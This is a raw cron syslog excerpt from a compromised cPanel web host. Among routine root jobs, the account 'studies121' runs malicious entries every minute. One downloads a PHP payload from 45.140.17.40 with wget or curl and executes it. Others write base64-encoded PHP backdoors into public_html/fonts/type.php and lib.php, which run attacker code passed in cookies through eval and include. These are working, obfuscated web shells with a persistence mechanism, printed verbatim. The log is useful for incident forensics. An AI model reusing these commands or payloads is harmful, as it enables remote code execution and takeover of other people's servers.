Sep  7 20:32:01 ip-184-168-122-23 CROND[14873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:32:01 ip-184-168-122-23 CROND[14874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:33:01 ip-184-168-122-23 CROND[14971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:33:01 ip-184-168-122-23 CROND[14972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:33:01 ip-184-168-122-23 CROND[14970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:33:01 ip-184-168-122-23 CROND[14973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:34:01 ip-184-168-122-23 CROND[15057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:34:01 ip-184-168-122-23 CROND[15059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:34:01 ip-184-168-122-23 CROND[15058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:34:01 ip-184-168-122-23 CROND[15060]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:34:01 ip-184-168-122-23 CROND[15062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:35:01 ip-184-168-122-23 CROND[15231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15232]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15240]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:35:01 ip-184-168-122-23 CROND[15237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:36:01 ip-184-168-122-23 CROND[15387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:36:01 ip-184-168-122-23 CROND[15386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:36:01 ip-184-168-122-23 CROND[15388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:36:01 ip-184-168-122-23 CROND[15390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:36:01 ip-184-168-122-23 CROND[15389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:37:01 ip-184-168-122-23 CROND[15519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:37:01 ip-184-168-122-23 CROND[15520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:37:01 ip-184-168-122-23 CROND[15522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:37:01 ip-184-168-122-23 CROND[15523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:38:01 ip-184-168-122-23 CROND[15611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:38:01 ip-184-168-122-23 CROND[15612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:38:01 ip-184-168-122-23 CROND[15615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:38:01 ip-184-168-122-23 CROND[15613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:38:01 ip-184-168-122-23 CROND[15614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:39:01 ip-184-168-122-23 CROND[15723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:39:01 ip-184-168-122-23 CROND[15724]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 20:39:01 ip-184-168-122-23 CROND[15725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:39:01 ip-184-168-122-23 CROND[15726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:39:01 ip-184-168-122-23 CROND[15727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:40:01 ip-184-168-122-23 CROND[15826]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 20:40:01 ip-184-168-122-23 CROND[15829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:40:01 ip-184-168-122-23 CROND[15830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:40:01 ip-184-168-122-23 CROND[15834]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 20:40:01 ip-184-168-122-23 CROND[15832]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:40:01 ip-184-168-122-23 CROND[15833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:40:01 ip-184-168-122-23 CROND[15831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 20:40:01 ip-184-168-122-23 CROND[15836]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:41:01 ip-184-168-122-23 CROND[15959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:41:01 ip-184-168-122-23 CROND[15961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:41:01 ip-184-168-122-23 CROND[15960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:41:01 ip-184-168-122-23 CROND[15962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:42:01 ip-184-168-122-23 CROND[16088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:42:01 ip-184-168-122-23 CROND[16090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:42:01 ip-184-168-122-23 CROND[16089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:42:01 ip-184-168-122-23 CROND[16091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:42:01 ip-184-168-122-23 CROND[16092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:43:01 ip-184-168-122-23 CROND[16185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 20:43:01 ip-184-168-122-23 CROND[16187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 20:43:01 ip-184-168-122-23 CROND[16188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:43:01 ip-184-168-122-23 CROND[16189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 20:44:01 ip-184-168-122-23 CROND[16266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 20:44:01 ip-184-168-122-23 CROND[16268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 20:44:01 ip-184-168-122-23 CROND[16270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
